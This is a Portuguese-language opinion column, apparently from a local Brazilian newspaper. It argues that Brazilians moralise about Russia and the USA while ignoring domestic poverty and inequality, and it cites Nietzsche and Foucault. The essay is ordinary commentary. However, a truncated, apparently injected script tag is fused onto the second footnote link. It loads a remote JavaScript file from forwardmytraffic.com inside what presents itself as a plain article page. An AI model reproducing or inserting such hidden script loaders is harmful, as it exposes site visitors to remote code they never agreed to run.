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COMO VAI O BRASIL?

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por Luiz Eduardo Cani e Sandro Luiz Bazzanella

 

Há algumas coisas que se tornam insuportáveis no decorrer da vida. Duas que eventualmente causam-nos náuseas são a moralização e a apatia. As duas muitas vezes caminham juntas na forma de discursos de demonização do Outro que encobre a falta de identificação, a impossibilidade de perceber que somos todos humanos, demasiado humanos (Nietzsche). Isso significa, dentre outras coisas, que os humanos não são anjos e nem demônios, mas seres mortais e falíveis. Por isso, podemos ser os próximos enxovalhados. Nietzsche abordou isso de modo a causar mal-estar nos leitores, sobretudo naqueles leitores apressados, em A genealogia da moral.

 

O rompante de justificação do moralismo que nos assiste, depois que nosso time perdeu a possibilidade de conquista a copa, é apontar as falhas dos outros países. Alguns representantes da “direita” moralizando contra à Rússia, e os da “esquerda” moralizando contra os EUA (usamos aspas porque existem pluralidades inconciliáveis nesses grupos e os próprios termos são estrangeirismos, surgidos num contexto sociopolítico específico, temporal, que não parecem ter muito sentido por aqui). As indignações quase parecem preocupações com os Outros. Só quase.

 

E o Brasil, vai muito bem? Nosso governo é democrático (no sentido popularizado do termo)? Temos muitas liberdades? Todos temos as condições de acesso a uma vida boa?

 

Nossa sugestão é a aquisição de óculos. Poderia se instalar no país uma multinacional para explorar mais nossas riquezas e nosso povo desgraçado, com o intuito de fabricar óculos que permitissem perceber nossas mazelas. Não, esperem. Ninguém faria isso porque não seria um interesse neoliberal de crescimento econômico ilimitado (Foucault).

 

Ilimitado, mas só para os países “desenvolvidos” cujo crescimento se dá a partir da exploração dos países “subdesenvolvidos” que produzem matéria prima barata, têm moedas desvalorizadas e consomem produtos de má qualidade a alto custo. Desse modo, vendemos carros a 50 mil aqui, aqueles mesmos que são vendidos por 8 mil lá fora. A culpa não é dos impostos, que existem também em outros países, mas da desvalorização monetária e da falta de uma industrialização nacional.

 

Os resultados? Metade dos quase 210 milhões de brasileiros sobrevivendo com menos de 1 salário mínimo mensal[1], enquanto 6 brasileiros têm o mesmo patrimônio e renda dos 100 milhões mais pobres juntos[2].

 

Não é empatia, mas apatia. Apatia com os nossos. Milhões de miseráveis chafurdando em lixões para comer enquanto nos preocupamos com os países dos Outros. Aqueles desgraçados!

 

O comunismo não fracassou, nunca saiu do papel. Talvez nem possa sair. Mas o capitalismo fracassa cotidianamente quando recebemos a promessa de igualdade de concorrência, mas sequer estamos inscritos na lista dos concorrentes. Podemos não querer o socialismo, com a igualdade de acesso, mas, se o capitalismo sequer gera igualdade de competição, para que serve? Para quem serve? Não pode existir outra coisa?

 

Enquanto isso, tornamo-nos técnicos hiperespecializados em apertar o parafuso ZZZ372493274329 da máquina econômica de produzir desigualdade, exclusão, violência e morte.

 

O Brasil? Vai muito bem, sim. Obrigado a todos os envolvidos pela preocupação!

 

[1] https://brasil.elpais.com/brasil/2017/09/22/politica/1506096531_079176.html

[2] https://odia.ig.com.br/_conteudo/economia/2017-11-29/ibge-metade-da-populacao-brasileira-vive-com-menos-de-um-salario-minimo.html… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>

Equipe A Gazeta Tresbarrense
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